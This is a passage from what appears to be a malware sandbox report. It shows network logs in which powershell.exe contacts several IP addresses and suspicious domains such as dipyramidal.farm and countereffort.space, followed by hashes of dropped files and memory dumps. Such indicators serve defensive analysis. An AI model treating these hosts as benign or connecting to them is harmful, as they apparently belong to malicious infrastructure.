    x-msedge-ref: Ref A: 976AF48D09C74A15A745838033E7BDA3 Ref B: DUS30EDGE0710 Ref C: 2023-10-14T04:00:37Z
    date: Sat, 14 Oct 2023 04:00:37 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239317300992_1OQJAKUFY0EQY29DG&pid=21.2&w=1920&h=1080&c=4
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239317300992_1OQJAKUFY0EQY29DG&pid=21.2&w=1920&h=1080&c=4 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 317587
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 613E3A95CCCA45F686766845A4940C4A Ref B: DUS30EDGE0710 Ref C: 2023-10-14T04:00:37Z
    date: Sat, 14 Oct 2023 04:00:37 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239317301037_1F4LYB5BP3D8EEGSO&pid=21.2&w=1920&h=1080&c=4
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239317301037_1F4LYB5BP3D8EEGSO&pid=21.2&w=1920&h=1080&c=4 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 444999
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: E3CBB2128FDD4F42911B9C55F1348E3A Ref B: DUS30EDGE0710 Ref C: 2023-10-14T04:00:38Z
    date: Sat, 14 Oct 2023 04:00:37 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239317301425_1VRGL6P12DBLOL6XY&pid=21.2&w=1080&h=1920&c=4
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239317301425_1VRGL6P12DBLOL6XY&pid=21.2&w=1080&h=1920&c=4 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 347909
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 0125FC4423F649708540CD48AC94F7C8 Ref B: DUS30EDGE0710 Ref C: 2023-10-14T04:00:39Z
    date: Sat, 14 Oct 2023 04:00:39 GMT
  • flag-us
    DNS
    8.3.197.209.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.3.197.209.in-addr.arpa
    IN PTR
    Response
    8.3.197.209.in-addr.arpa
    IN PTR
    vip0x008map2sslhwcdnnet
  • flag-us
    DNS
    13.227.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.227.111.52.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    13.227.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.227.111.52.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    13.227.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.227.111.52.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    13.227.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.227.111.52.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    13.227.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.227.111.52.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    2.136.104.51.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    2.136.104.51.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    38.148.119.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    38.148.119.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    208.194.73.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    208.194.73.20.in-addr.arpa
    IN PTR
    Response
  • 222.81.102.69:443
    powershell.exe
    260 B
     5
  • 80.246.107.230:443
    powershell.exe
    260 B
     5
  • 52.111.236.21:443
    322 B
     7
  • 204.79.197.200:443
    https://tse1.mm.bing.net/th?id=OADD2.10239317301425_1VRGL6P12DBLOL6XY&pid=21.2&w=1080&h=1920&c=4
    tls, http2
    68.4kB
     2.0MB
     1450
    1442

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239317301470_10T4S66MXCAC1M054&pid=21.2&w=1080&h=1920&c=4

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239317301453_1HOUYPI9NYZFL407Y&pid=21.2&w=1080&h=1920&c=4

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239317301020_14A3TVXX0O1AF1LY0&pid=21.2&w=1920&h=1080&c=4

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239317300992_1OQJAKUFY0EQY29DG&pid=21.2&w=1920&h=1080&c=4

    HTTP Response

    200

    HTTP Response

    200

    HTTP Response

    200

    HTTP Response

    200

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239317301037_1F4LYB5BP3D8EEGSO&pid=21.2&w=1920&h=1080&c=4

    HTTP Response

    200

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239317301425_1VRGL6P12DBLOL6XY&pid=21.2&w=1080&h=1920&c=4

    HTTP Response

    200
  • 140.58.243.170:80
    powershell.exe
    260 B
     5
  • 192.121.17.70:80
    powershell.exe
    260 B
     200 B
     5
    5
  • 192.121.17.69:80
    powershell.exe
    260 B
     5
  • 192.121.17.14:80
    powershell.exe
    260 B
     5
  • 8.8.8.8:53
    g.bing.com
    dns
    280 B
     5

    DNS Request

    g.bing.com

    DNS Request

    g.bing.com

    DNS Request

    g.bing.com

    DNS Request

    g.bing.com

    DNS Request

    g.bing.com

  • 8.8.8.8:53
    74.32.126.40.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    74.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    254.20.238.8.in-addr.arpa
    dns
    71 B
     125 B
     1
    1

    DNS Request

    254.20.238.8.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    9.228.82.20.in-addr.arpa
    dns
    70 B
     156 B
     1
    1

    DNS Request

    9.228.82.20.in-addr.arpa

  • 8.8.8.8:53
    43.58.199.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    43.58.199.20.in-addr.arpa

  • 8.8.8.8:53
    158.240.127.40.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    158.240.127.40.in-addr.arpa

  • 8.8.8.8:53
    dipyramidal.farm
    dns
    powershell.exe
    62 B
     130 B
     1
    1

    DNS Request

    dipyramidal.farm

  • 8.8.8.8:53
    29.81.57.23.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    29.81.57.23.in-addr.arpa

  • 8.8.8.8:53
    countereffort.space
    dns
    powershell.exe
    65 B
     130 B
     1
    1

    DNS Request

    countereffort.space

  • 8.8.8.8:53
    146.78.124.51.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    146.78.124.51.in-addr.arpa

  • 8.8.8.8:53
    50.23.12.20.in-addr.arpa
    dns
    70 B
     156 B
     1
    1

    DNS Request

    50.23.12.20.in-addr.arpa

  • 8.8.8.8:53
    18.31.95.13.in-addr.arpa
    dns
    70 B
     144 B
     1
    1

    DNS Request

    18.31.95.13.in-addr.arpa

  • 8.8.8.8:53
    tse1.mm.bing.net
    dns
    62 B
     173 B
     1
    1

    DNS Request

    tse1.mm.bing.net

    DNS Response

    204.79.197.200
    13.107.21.200

  • 8.8.8.8:53
    8.3.197.209.in-addr.arpa
    dns
    70 B
     111 B
     1
    1

    DNS Request

    8.3.197.209.in-addr.arpa

  • 8.8.8.8:53
    13.227.111.52.in-addr.arpa
    dns
    360 B
     5

    DNS Request

    13.227.111.52.in-addr.arpa

    DNS Request

    13.227.111.52.in-addr.arpa

    DNS Request

    13.227.111.52.in-addr.arpa

    DNS Request

    13.227.111.52.in-addr.arpa

    DNS Request

    13.227.111.52.in-addr.arpa

  • 8.8.8.8:53
    2.136.104.51.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    2.136.104.51.in-addr.arpa

  • 8.8.8.8:53
    38.148.119.40.in-addr.arpa
    dns
    72 B
     146 B
     1
    1

    DNS Request

    38.148.119.40.in-addr.arpa

  • 8.8.8.8:53
    208.194.73.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    208.194.73.20.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tscyo0um.cka.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/3892-9-0x00007FF980D50000-0x00007FF981811000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3892-10-0x000002CF12630000-0x000002CF12640000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3892-11-0x000002CF12630000-0x000002CF12640000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3892-12-0x000002CF12600000-0x000002CF12622000-memory.dmp

    Filesize

    136KB

    Download

  • memory/3892-13-0x00007FF980D50000-0x00007FF981811000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3892-14-0x000002CF12630000-0x000002CF12640000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3892-15-0x000002CF12630000-0x000002CF12640000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3892-16-0x000002CF12630000-0x000002CF12640000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3892-18-0x00007FF980D50000-0x00007FF981811000-memory.dmp

    Filesize

    10.8MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.